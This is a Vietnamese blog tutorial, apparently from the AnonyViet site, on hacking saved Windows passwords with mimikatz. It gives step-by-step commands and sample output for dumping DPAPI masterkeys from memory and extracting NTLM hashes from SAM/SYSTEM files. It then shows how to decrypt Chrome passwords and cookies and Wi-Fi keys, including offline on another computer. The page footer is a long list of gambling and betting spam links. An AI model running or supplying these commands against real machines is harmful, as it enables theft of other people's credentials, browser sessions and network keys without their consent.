• Kiến thức
  • Network
  • Security
  • Software
  • Thủ thuật
  • Tin học văn phòng
  • Tin tức
  • Mail ảo tạm thời miễn phí
  • Tools tra cứu thông tin
AnonyViet
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
AnonyViet
No Result
View All Result

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA

Ellyx13 by Ellyx13
in Basic Hacking
A A
0

Mục lục bài viết

  1. Cách Windows lưu trữ mật khẩu
  2. Cách mã hóa và giải mã bằng DPAPI
  3. Cách giải mã tệp DPAPI trên máy tính khác
  4. Cách tìm Windows Masterkeys
  5. Cách lưu và sử dụng master keys
  6. CREDHIST
  7. Cách trích xuất tất cả mật khẩu của Google Chome
  8. Cách trích xuất tất cả cookie của Google Chome
  9. Cách trích xuất mật khẩu Wi-Fi của Windows
  10. Cách trích xuất mật khẩu Google Chrome từ một máy tính khác
  11. Nơi Windows lưu trữ mật khẩu
  12. Kết luận

Trong bài viết “Cách hack mật khẩu Windows“, mình đã hướng dẫn các bạn cách hack pass login Windows 10 bằng truy xuất RAM. Còn trong bài viết hôm nay, mình sẽ hướng dẫn các bạn làm quen với chương trình mimikatz 2, chương trình mà mình đã sử dụng để trích xuất mật khẩu trong hệ thống đang sử dụng hoặc từ các tệp đăng ký Windows từ một máy tính khác.

Tham gia kênh Telegram của AnonyViet 👉 Link 👈

Cách Windows lưu trữ mật khẩu

Ngoài mật khẩu dùng để đăng nhập vào Windows, các mật khẩu dưới đây cũng được lưu trữ trong hệ điều hành này:

Các bài viết liên quan

Cách tăng độ dài mã PIN trên Windows để nâng cao bảo mật 27

Cách tăng độ dài mã PIN trên Windows để nâng cao bảo mật

15/02/2025
Cách kiểm tra mật khẩu có bị lộ từ vụ rò rỉ dữ liệu RockYou 2024 28

Cách kiểm tra mật khẩu có bị lộ từ vụ rò rỉ dữ liệu RockYou 2024

09/07/2024
Đang miễn phí ứng dụng quản lý mật khẩu Sticky Password Premium có giá $30 29

Đang miễn phí ứng dụng quản lý mật khẩu Sticky Password Premium có giá $30

05/01/2024
Cách xem lại mật khẩu Wifi trên Andorid, iPhone và máy tính 30

Cách xem lại mật khẩu Wifi trên Andorid, iPhone và máy tính

27/06/2022
  • Credential Manager
  • Windows Vault
  • Mật khẩu trình duyệt IE
  • Mật khẩu Wifi
  • Certifications
  • Mật khẩu VPN
  • SSH keys
  • Mật khẩu Google Chrome
  • Chứng chỉ Google Talk, Skype, Dropbox, iCloud, Safari

Tất cả các mật khẩu này đều được mã hóa. Để mã hóa mật khẩu và thông tin đăng nhập, hệ thống phải sử dụng DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu). Đối với người dùng cuối, tất cả các quy trình mã hóa và giải mã dữ liệu đều được minh bạch, tức là các nhà phát triển không đụng chạm tới dữ liệu thô của bạn.

Mật khẩu người dùng được sử dụng để mã hóa các dữ liệu này. Chính xác hơn, các master keys (khóa chính) được tạo ra, với sự trợ giúp của dữ liệu được mã hóa và giải mã, và mật khẩu người dùng được sử dụng để giải mã các khóa chính. Một người dùng có thể có nhiều master keys. Trên thực tế, hàm băm sẽ băm tất cả các mật khẩu cũ được lưu trữ và cố gắng giải mã khóa chính cho đến khi tìm thấy mã băm phù hợp.

Yêu cầu bắt buộc của cơ chế giải mã này là bạn phải có khoá chính phù hợp , ví dụ, mật khẩu từ trình duyệt web Google Chrome. Nhưng nếu bạn sao chép tệp chứa mật khẩu của trình duyệt này sang máy tính khác mà không có khóa chính của máy cũ, thì bạn sẽ không thể giải mã các mật khẩu này.

Cách mã hóa và giải mã bằng DPAPI

Chúng ta sẽ tiếp tục dùng công cụ mimikatz để thực nghiệm Hack tất cả Password đã lưu trên Windows.

Như đã đề cập ở trên, DPAPI được sử dụng để mã hóa và giải mã dữ liệu. DPAPI khá đơn giản không chỉ cho người dùng cuối, mà còn cho các nhà phát triển muốn sử dụng cách mã hóa này – có hai chức năng chính của DPAPI là mã hóa và giải mã, chúng có thể được gọi từ ứng dụng.

Trước khi chuyển sang trích xuất Password từ trình duyệt web và các Password khác được lưu trữ trên Windows, hãy tìm hiểu kỹ hơn về DPAPI. Nhiều bài báo hay đã giải thích cách hoạt động của DPAPI. Vậy nên mình sẽ không giải thích lại nữa, mà chỉ đơn giản là cung cấp các bài viết ở đây. Thay vì đi sâu vào chi tiết lý thuyết của DPAPI, chúng ta hãy thực hiện một vài ví dụ thực tế: mã hóa một chuỗi hoặc tệp bằng DPAPI.

Xem thêm:  ExtPassword!- Công cụ xem tất cả Password được lưu trên Windows

Mô-đun dpapi được sử dụng để làm việc với DPAPI, lệnh protect được sử dụng để mã hóa dữ liệu. Lệnh này có tùy chọn bắt buộc là /data, cuối cùng, bạn chỉ cần nhập đường dẫn đến file hoặc văn bản cần mã hoá là được.

Ví dụ: tôi muốn mã hóa chuỗi ‘Test string to encrypt’:

dpapi::protect /data:"Test string to encrypt"

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA

Hãy chú ý đến phần “Blob:” – đây là dữ liệu được mã hóa ở dạng nhị phân.

Thay vì hiển thị dữ liệu trên command line, chúng có thể được lưu bằng tùy chọn /out:

dpapi::protect /data:"Test string to encrypt" /out:crypted.txt

Kết quả là, tệp crypted.txt đã được tạo. Tệp này chứa dữ liệu “Test string to encrypt” được mã hóa.

Như bạn có thể thấy, chúng ta không cần phải suy nghĩ về khóa chính và mật khẩu – hệ điều hành sẽ tự làm mọi thứ.

Để giải mã, hàm blob được sử dụng (blob là dữ liệu được mã hóa theo phương pháp này) từ cùng một mô-đun dpapi. Hàm này có một tùy chọn bắt buộc là /in, sau đó bạn cần chỉ định dữ liệu để giải mã. Để giải mã, bạn cũng cần chỉ tuỳ chọn /unprotect, nếu không thông tin về blob (dữ liệu được mã hóa) sẽ chỉ được hiển thị mà không có giải mã:

dpapi::blob /in:crypted.txt /unprotect

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 16Nếu bạn muốn lưu dữ liệu đã giải mã vào một tệp, thì hãy sử dụng tùy chọn /out.

Cách giải mã tệp DPAPI trên máy tính khác

Điều gì xảy ra nếu mình chuyển tệp crypto.txt sang một máy tính khác và cố gắng giải mã nó bằng cùng một lệnh trên? Thử xem nhé:

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 17

Việc giải mã đã không thành công và xuất hiện lỗi:

* using CryptUnprotectData API ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; NTE_BAD_KEY_STATE, needed Masterkey is: {ac45381a-d9db-4c68-b0e9-7410667c3984}

Nếu bạn để ý kỹ lỗi thì sẽ tìm ra được, thứ chúng ta cần là Masterkey ac45381a-d9db-4c68-b0e9-7410667c3984.

Chuỗi ac45381a-d9db-4c68-b0e9-7410667c398 là mã băm khóa chính. Có thể nói đây là mã định danh hay vân tay của chìa khóa. Trên máy tính ban đầu, nơi dữ liệu đã được mã hóa, việc giải mã chúng rất đơn giản và dễ dàng. Còn khi chúng ta cố gắng giải mã dữ liệu này mà không có khóa chính sẽ không thành công. Vậy nên, thứ chúng ta cần là chỉ định Masterkey từ máy tính ban đầu, cụ thể là máy mà dữ liệu được mã hóa.

Mình đã trích xuất Masterkey và sẽ chỉ định nó bằng cách sử dụng tùy chọn /masterkey và chạy lại lệnh giải mã trên máy tính khác:

dpapi::blob /in:crypted.txt /unprotect /masterkey:5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 18

Thành công rồi đó!

Cách tìm Windows Masterkeys

Mimikatz có chức năng trích xuất tất cả các master keys của người dùng hiện tại. Nhưng trước khi chuyển sang phần đó, chúng ta phải tìm hiểu các masterkeys để hiểu hết về cách giải mã này nhé.

Ở dạng đã giải mã, ví dụ masterkey trông như thế này: 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8

Các masterkeys được mã hóa và lưu trữ trong một thư mục có dạng %appdata%\Microsoft\Protect{sid}*. Giải thích:

  • %appdata% kà C:\Users<USER>\AppData\Roaming
  • {sid} là user SID

Trong CMD (Win + r → gõ cmd), bạn có thể thấy SID của mình bằng lệnh:

Xem thêm:  Dùng PowerRunAsAttached để leo thang đặc quyền trên Window

wmic useraccount where name="%USERNAME%" get sid

Lệnh đó sẽ không hoạt động trong PowerShell. Các lệnh sau sẽ hoạt động trong cả CMD và PowerShell.

Tìm SID của bạn:

whoami /user

Tìm SID cho tất cả các user:

wmic useraccount get name,sid

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 19

Các masterkey được mã hoá trên ổ cứng của bạn:

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 20

Hàm dpapi::masterkey có thể giải mã các masterkey. Nếu bạn chỉ sử dụng chức năng này với tùy chọn /in, và chỉ định đường dẫn đến masterkey, thì thông tin về nó sẽ được hiển thị mà không cần giải mã:

dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-4099021954-1290662600-116018068-1001\ac45381a-d9db-4c68-b0e9-7410667c3984"

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 21

Để trích xuất tất cả các masterkey của người dùng hiện tại cùng một lúc, hãy chạy lệnh:

sekurlsa::dpapi

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 22

Các masterkeys trong này gồm:

Authentication Id : 0 ; 371163 (00000000:0005a9db) Session : Interactive from 1 User Name : MiAl Domain : HACKWARE-MIAL Logon Server : HACKWARE-MIAL Logon Time : 25.02.2020 13:25:54 SID : S-1-5-21-4099021954-1290662600-116018068-1001 [00000000] * GUID : {abd3abfe-f620-46e4-a5ee-8dc314ef4169} * Time : 25.02.2020 18:34:11 * MasterKey : 450e3e2609e394dfef60c90533a06ddd84dc9968965bd8579a3c40607704077e506c8d0738e6f42cfd934b3eb75eedc3c29fe7deb8dd0cf05ddb4deb653fcbff * sha1(key) : 806d3a6453a45b9b4eb3e8edafc9dd4b12c0d494 [00000001] * GUID : {ac45381a-d9db-4c68-b0e9-7410667c3984} * Time : 25.02.2020 18:26:00 * MasterKey : 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8 * sha1(key) : d5a7975eea70b6fe5eae3809ed3c7e9c864d1333

GUID là một định danh (identifier), tên của một tệp masterkey. MasterKey chính là khóa chủ.

Để thuận tiện, mimikatz lưu trữ một bộ nhớ cache của các masterkey được giải nén. Và không chỉ lưu trữ và hiển thị chúng, mà còn sử dụng masterkeys nếu cần cho các hoạt động nhất định. Để xem nội dung của bộ nhớ đệm, hãy chạy lệnh:

dpapi::cache

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 23

Các masterkeys được giải nén có thể được sử dụng trên máy khác.

Cách lưu và sử dụng master keys

Để lưu bộ nhớ cache, hãy sử dụng các tùy chọn /save và /file: FILE:

dpapi::cache /save/file:cache.bin

Nếu bạn sử dụng tuỳ chọn /file, thì theo mặc định, dữ liệu sẽ được lưu vào tệp mimikatz_dpapi_cache.ndr.

Để load bộ nhớ cache, hãy sử dụng tùy chọn /load và /file: FILE:

dpapi::cache /load /file:cache.bin

CREDHIST

Tệp này nằm trên đường dẫn “%appdata%\Microsoft\Protect\CREDHIST”, chỉ tác dụng trong trường hợp không thuộc domain nào cả. Tệp này:

  • chứa: thông tin đăng nhập được mã hóa trước đó của người dùng (SHA1 & NTLM)
  • được sử dụng để: giải mã masterkey
  • được bảo vệ bởi: mật khẩu SHA1 được dùng gần đây nhất
  • mỗi entry được bảo vệ bởi khóa trước đó, …..

Để xem các thuộc tính của tệp này, hãy chạy lệnh:

dpapi::credhist /in:"%appdata%\Microsoft\Protect\CREDHIST"

Ví dụ kết quả:

**CREDHIST** dwVersion : 00000001 - 1

guid : {86cddf31-2b68-42fb-a6e6-28b628228fc8}

dwNextLen : 00000000 - 0

Mình đã cố gắng giải mã tệp này trong mimikatz bằng lệnh:

dpapi::credhist /in:"Z:\files\CREDHIST" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003

nhưng lại không thành công. Nếu bạn biết cách giải mã nó, hãy để lại bình luận nhé.

Cách trích xuất tất cả mật khẩu của Google Chome

Trong mimikatz, sử dụng lệnh dpapi :: chrome, bạn có thể trích xuất tất cả mật khẩu của người dùng hiện tại. Bạn cần sử dụng tùy chọn /in với đường dẫn đến tệp lưu trữ thông tin xác thực. Tệp này nằm trong “%localappdata%\Google\Chrome\User Data\Default\Login Data”. Nhân tiện, tệp này thuộc dạng cơ sở dữ liệu SQLite, trong đó tất cả dữ liệu ngoại trừ mật khẩu (ví dụ: địa chỉ của các trang web) được lưu trữ dưới dạng văn bản rõ ràng. Và mật khẩu được mã hóa bằng DPAPI. Để giải mã, chúng ta cần phải sử dụng tuỳ chọn /unprotect:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

Cách trích xuất tất cả cookie của Google Chome

Google Chome lưu trữ cookie trong tệp “%localappdata%\Google\Chrome\User Data\Default\Cookies”. Như với mật khẩu của trang web, tất cả dữ liệu ngoại trừ cookie sẽ được lưu trữ dưới dạng văn bản rõ ràng. Để truy xuất tất cả thông tin của cookie, hãy chạy lệnh:

Xem thêm:  Share Source code Virus Keylogger bằng C++

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect

Cách trích xuất mật khẩu Wi-Fi của Windows

Trong Windows, mật khẩu Wi-Fi có thể được trích xuất mà không cần mimikatz, ví dụ:

netsh wlan export profile interface= "<INTERFACE NAME>" key=clearfolder=c:\ netsh wlan export profile interface="*"key=clearfolder=c:\

Để phương pháp này hoạt động, bạn phải cắm card Wi-Fi.

Nhược điểm của phương pháp này là nó không hoạt động đối với máy tính đã tắt.

Trong mimikatz có lệnh dpapi :: wifi và dpapi :: wwan tương ứng để trích xuất mật khẩu từ các kết nối Wi-Fi và WWAN đã lưu.

Mật khẩu Wi-Fi được lưu dưới dạng:

  • C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{interface guid}*.xml

Và mật khẩu WWAN được lưu dưới dạng:

  • C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}*.xml

Bạn cần bắt đầu bằng cách lấy các masterkeys. Vì mình thực hiện các lệnh này trên local, nên mình giải mã các masterkey bằng lệnh:

sekurlsa::dpapi

Mình đã tìm thấy trên local hai interfaces, mỗi interfaces có một cấu hình kết nối Wi-Fi:

  • C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{24FF5798-6078-4148-96B5-75191CCEA209}{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml
  • C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml

Để trích xuất mật khẩu Wi-Fi, mìnhchạy các lệnh:

dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{24FF5798-6078-4148-96B5-75191CCEA209}\{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml"

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 24

Mật khẩu trong dòng “Key Material:”.

dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}\{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml" /unprotect

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 25

Nếu masterkeys không có trong bộ nhớ cache mimikatz, bạn có thể chỉ định rõ ràng nó bằng tùy chọn /masterkey.

Cách trích xuất mật khẩu Google Chrome từ một máy tính khác

  1. Để giải mã tệp “%localappdata%\Google\Chrome\User Data\Default\Login Data”, bạn cần Masterkey được mã hóa mật khẩu trong tệp này.
  2. Để giải mã masterkeys, bạn cần mật khẩu người dùng Windows để đăng nhập vào hệ thống và tệp masterkeys được mã hóa, tức là tệp %appdata%\Microsoft\Protect{sid}*.
  3. Để bẻ khóa mật khẩu người dùng Windows, bạn cần có hàm băm NTLM.
  4. Để truy xuất mã băm NTLM, bạn cần các tệp đăng ký (registry files) C:/Windows/System32/config/SAM và C:/Windows/System32/config/SYSTEM, hoặc kết xuất lsass.DMP. Hơn nữa, tốt hơn là sử dụng kết xuất vì có thể trích xuất hàm băm SHA1 từ nó và hàm băm này có thể được sử dụng trực tiếp để giải mã masterkeys.
    lsadump::sam /system:C:\path\to\SYSTEM /sam:C:\path\to\SAM
  5. Sau đó, để lấy Masterkey ngoại tuyến, bạn cần chạy lệnh sau:
    dpapi::masterkey /in:"path\to\encrypted\masterkey" "/password:target_user_password" /sid:target_user_SID

SID có thể được lấy từ tên thư mục đến masterkeys được mã hóa.

dpapi::masterkey /in:"Z:\files\1f89c852-1c9d-47f9-81f8-b18be7c11512" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003

Nếu thành công, thông tin sau sẽ được hiển thị ở cuối kết quả:

[masterkey] with volatile cache: SID:S-1-5-21-4099021954-1290662600-116018068-1003;GUID:{1bd91e0f-25f3-49e9-a370-bc68d1f0d272};MD4:ca76a176340f0291e1cc8ea7277fc571;SHA1:886d0f341f3c29030ec855334a08e52868c06c69; key : 89e43af0a178c2f1c7311c028dd75e2d2489fc78a3df92808094b1671785d6fd7f107ec562320bcaa8563be759abbf60bf70791107c5240cda2cfddcb003df19 sha1: b73d4d8cbbdafa960e49ca480559a4b530e65f05

Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 26

Dòng chính bắt đầu bằng key– đây là masterkey được giải mã.

Ngoài ra, masterkeys sẽ được lưu vào bộ nhớ đệm.

Cuối cùng, để giải mã ngoại tuyến mật khẩu trình duyệt Google Chrome, hãy chạy lệnh:

dpapi::chrome /in:"PATH\TO\Login Data" /unprotect /masterkey:MASTERKEY

Nếu masterkey đã có trong bộ nhớ cache, thì bạn có thể bỏ qua tùy chọn /masterkey.

Nơi Windows lưu trữ mật khẩu

Đây là các đường dẫn đến các tệp được mã hóa bằng DPAPI. Nếu bị thiếu cái nào, thì các bạn nhớ bình luận nhé:

Pivot table của tác giả mimikatz (rất khó đọc):

  • File Excel liệt kê nơi lưu Password trong Windows

Mật khẩu Wi-Fi được lưu trữ trong:

  • C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{interface guid}*.xml

Mật khẩu WWAN được lưu trữ trong:

  • C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}*.xml Xml

Cookies Google Chrome được lưu trữ trong:

  • %localappdata%\Google\Chrome\User Data\Default\Cookies

Mật khẩu của website được lưu trữ trong:

  • %localappdata%\Google\Chrome\User Data\Default\Login Data

% localappdata% thường là ‘C:\Users<USERNAME>\AppData\Local’.

Các masterkeys đã mã hóa được lưu trữ trong một thư mục có dạng %appdata%\Microsoft\Protect{sid}*.

  • %appdata% là C:\Users<USERNAME>\AppData\Roaming
  • {sid} là user SID

System master keys:

  • c:\Windows\System32\Microsoft\Protect*

Chứng chỉ user:

  • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
  • %APPDATA%\Microsoft\Crypto\RSA<SID>\

Chứng chỉ hệ thống:

  • HKLM:\SOFTWARE\Microsoft\SystemCertificates\MY\Certificates*
  • C:\Programdata\Microsoft\Crypto\RSA\MachineKeys\

Dropbox:

  • HKCU\SOFTWARE\Dropbox\ks
  • HKCU\SOFTWARE\Dropbox\ks1
  • %APPDATA%\Local\Dropbox\instance1\config.dbx
  • %APPDATA%\Local\Dropbox\instance_db\instanse.dbx

Rsa securid:

  • %LOCALAPPDATA%\RSA\SecurIDStorage

Kết luận

Bạn sẽ tìm thấy thêm thông tin trong tài liệu về các mô-đun và lệnh của mimikatz. 

Tags: DAPAhack passwordMimikatzpassword
Ellyx13

Ellyx13

Có người không dám bước vì sợ gãy chân, nhưng sợ gãy chân mà không dám bước đi thì khác nào chân đã gãy.

Related Posts

Cách thực hiện kĩ thuật tấn công Shellcode Injection với Autoit 31
Basic Hacking

Cách thực hiện kĩ thuật tấn công Shellcode Injection với Autoit

08/03/2025
Cách khai thác lỗ hổng DLL Hijacking trên Windows 32
Basic Hacking

Cách khai thác lỗ hổng DLL Hijacking trên Windows

05/03/2025
Htamal: kỹ thuật thực thi shellcode từ xa vượt qua phát hiện của Antivirus 33
Basic Hacking

Htamal: kỹ thuật thực thi shellcode từ xa vượt qua phát hiện của Antivirus

10/02/2025
Snov.io Email Finder: Tìm kiếm email chỉ với tên công ty/ tên miền/ hồ sơ LinkedIn 34
Basic Hacking

Snov.io Email Finder: Tìm kiếm email chỉ với tên công ty/ tên miền/ hồ sơ LinkedIn

14/12/2024
Capsolver: Giải pháp tự động giải CAPTCHA dành cho doanh nghiệp 35
Basic Hacking

Capsolver: Giải pháp tự động giải CAPTCHA dành cho doanh nghiệp

12/12/2024
Seekr: Thu thập & quản lý dữ liệu OSINT 36
Basic Hacking

Seekr: Thu thập & quản lý dữ liệu OSINT

22/11/2024
Subscribe
Notify of
guest

guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
oldest
newest
Inline Feedbacks
View all comments

Liên hệ Quảng Cáo

Lien he AnonyViet

Bài viết mới

Android 16: Tất cả thông tin về bản cập nhật "Baklava" 15

Android 16: Tất cả thông tin về bản cập nhật “Baklava”

by Thanh Kim
14/06/2025
0

Link tải bản đồ 34 tỉnh thành mới của Việt Nam 16

Link tải bản đồ 34 tỉnh thành mới của Việt Nam

by Thanh Kim
13/06/2025
0

Đổi mới kinh doanh - Yếu tố cốt lõi và sống còn của doanh nghiệp 17

Đổi mới kinh doanh – Yếu tố cốt lõi và sống còn của doanh nghiệp

by AnonyViet
13/06/2025
0

Kỹ năng và yêu cần cần có để trở thành một nhân viên bán hàng chuyên nghiệp 18

Kỹ năng và yêu cần cần có để trở thành một nhân viên bán hàng chuyên nghiệp

by AnonyViet
13/06/2025
0

Giới thiệu

AnonyViet

AnonyViet

Nơi chia sẻ những kiến thức mà bạn chưa từng được học trên ghế nhà trường!

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến AnonyViet.

Hãy cùng AnonyViet xây dựng một cộng đồng CNTT lớn mạnh nhất!

Giới thiệu

AnonyViet là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. AnonyViet cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

Liên hệ

Email: anonyviet.com[@]gmail.com

1409 Hill Street #01-01A
Old Hill Street Police Station
Singapore 179369

 

DMCA.com Protection Status

Bình luận gần đây

  • blowsy trong Cách Active Key Sublime Text 4 – Tải Sublime Text 4 Full Key
  • haohao2210 trong Hướng dẫn đăng ký ChatGPT Team giá 1$
  • AnonyViet trong Hướng dẫn đăng ký ChatGPT Team giá 1$
  • haohao2210 trong Hướng dẫn đăng ký ChatGPT Team giá 1$
  • Lelo trong TOP 5 thẻ ảo thanh toán quảng cáo và mua hàng trực tuyến năm 2025
  • Hồ Minh Nhựt trong Hướng dẫn chế ảnh số dư tài khoản MB Bank
  • Yagami trong Hướng dẫn đăng ký ChatGPT Team giá 1$
  • abc trong Cách nhận License Key Driver Booster Pro 12 6 tháng miễn phí
  • Muabanhk trong Hướng dẫn cách trích xuất văn bản từ PDF /ảnh
  • quuy trong Hướng dẫn nhận Perplexity Pro 1 năm miễn phí trị giá $200
  • AnonyViet trong Hướng dẫn nhận Perplexity Pro 1 năm miễn phí trị giá $200
  • Dex trong Hướng dẫn nhận Perplexity Pro 1 năm miễn phí trị giá $200
  • dũng trong Hướng Dẫn tạo VPS Linux Free Unlimited Mới Nhất
  • AnonyViet trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Long trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Dinhkhai trong Cách đăng bán tài liệu cũ trên Studypool kiếm thêm thu nhập
  • Thịnh trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • Hải trong Hướng dẫn tạo Gemini Pro miễn phí để trải nghiệm Veo 3
  • AnonyViet trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu
  • Trung trong Hướng dẫn tự tạo SOCKS5 trên Ubuntu

©2025 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về Công nghệ Danh mục kết quả xổ số hôm nay trực tiếp bóng đá xoilac colatv truc tiep bong da trang chủ hi88 trang chủ hi88 kubet777 KUBET xoilac nhà cái 8xbet https://vn88-vn.com/ https://i9bet-vn.net/ https://typhu88-vn.com/ https://hb88-vn.org/ Kubet bong88 https://cwfun.org/ https://hi88.gives/ 33win 789win ww88 888B kubet https://thabet-vn.com/ Ae888 kubet 789Club 188BET 188BET Link https://789club10.pro kubet hi88 188bet 8kbet pg88 99ok xin88 good88 https://www.chantalsutherlandjockey.com/ Sun win https://www.go88vn.uk.com/ https://www.rik-vip.uk.com/ kubet w88 cakhiatv Thapcam TV https://78win.id/ Game bài đổi thưởng https://33winlink.live/ 68gamebai MB66 FB88 hi88 69VN 69VN 69VN W88 https://78win.dental/ ww88 f168 f8bet k8cc https://qq883a.com/ Leo88 Leo88 Net88 nha cai uy tin mu88 casino Vebo TV https://v9betnet.com/ https://ee88vie.com/ 69vn max88 manclub iwin 79king mu88 com https://78winn.city/ ww88 SV388 69VN 69VN Zomclub 8kbet https://hi88fz.com/ XO88 VicClub SAM86 https://u888.one/ ABC8 https://go886.org/ https://sunwin10.org/ https://789club10.life/ Jun88 https://jun88pro.org/ 77Bet HB88 123b https://33winvn.me/ https://789betvia.com/ https://789betvib.com/ https://789betvic.com/ https://789betvid.com/ https://789betvie.com/ https://789betvif.com/ https://789betvig.com/ https://789betvih.com/ https://789betvii.com/ https://789betvij.com/ https://789betvik.com/ https://789betvil.com/ https://789betvim.com/ https://789betvio.com/ https://789betviq.com/ https://789betvir.com/ https://new8822.com/ https://new88836.com/ https://new88838.com/ https://new88812.com/ https://new88833.com/ https://new88813.com/ https://new88814.com/ https://new88815.com/ https://new88840.com/ https://new88816.com/ https://new88817.com/ https://new88818.com/ https://new88819.com/ https://new88820.com/ https://new88821.com/ https://new88839.com/ https://new88823.com/ https://ahihi88.host/ https://hi8818.com/ https://hi8818.site/ https://hi8818.ink/ https://hi8818.me/ https://hi8818.xyz/ https://hi8818.blog/ https://hi8818.us/ https://hi8818.cloud/ https://hi8818.online/ https://shbet188.org/ https://shbet188.me/ https://shbet188.pro/ https://shbet188.cloud/ https://shbet188.ink/ https://shbet288.store/ https://shbet288.today/ https://shbet288.tech/ https://shbet188.xyz/ https://shbet188.us/ https://shbet188.shop/ https://jun8818.org/ https://jun8818.net/ https://jun8818.me/ https://jun8818.xyz/ https://jun8818.pro/ https://jun8818.cloud/ https://jun8818.info/ https://jun8818.us/ https://jun8818.live/ https://jun8818.shop/ U888 win55 Tha bet hello88 188bet kubet11 k8cc f168 FB88 luckywin https://bet88.love/ 188BET fm88 https://horse.uk.com https://xin88.international/ https://xin88.de.com/ five88 SH BET https://t8kbet.com/ rr88 qh88 https://918xxy.com/ 58WIN 58WIN NOHU90 Sunwin https://77betvn.me/ https://hb88vn.live/ kubet thailand bk8 789club tài xỉu online uy tín Gemwin Game bài đổi thưởng uy tín https://www.newfacespac.com/ jun88 qq88 https://58win.digital/ iWin68 vip66 xoso66 789 BET vip66 xoso66 luckywin https://shbet.asia/ Nhà cái uy tín ww88 69vn https://79kingg.me/ f168 88vv https://good88gd.com/ https://tp88fun.com/ OK365 Nhà Cái WW88 6789 Daga sodo66 45678 trang chủ hi88 https://bet88bb.com/ 8XBET bong88 daga qq88 daga https://8kbet.party/ sin88 Kèo nhà cái 32win https://ok9393.com/ https://mb6699.net/ RR88 kèo nhà cái 8kbet Mitom TV SUNCITY ww88 https://ww88.engineer/ https://bet888co.com/ 789bet https://bet88gg.com/ https://vb88.social/ nhacaiuytin f8bet Kèo nhà cái ee88 net88 soc88 max88 hello88 thabet kèo nhà cái 69VN 123b https://bsport.baby/ qq88 https://kubet.loan/ iwin68 ga6789 88go bongvip go789 32win 89bet u888 qh88 Luckywin https://bet88.diy/ bongvip bet88 6789 NH88 89bet day f168 79King 789Win https://abc8.furniture/ iwinclub 69vn TK88 Sky88 tài xỉu leo88 hb88 77bet 23WIN jun88.info https://79king.study/ good88.com https://king88aff.com/ Tài xỉu online goal123 79KING SV66 https://jbo.center/ luckywin https://www.meryland.com.vn/ QQ88 88aa 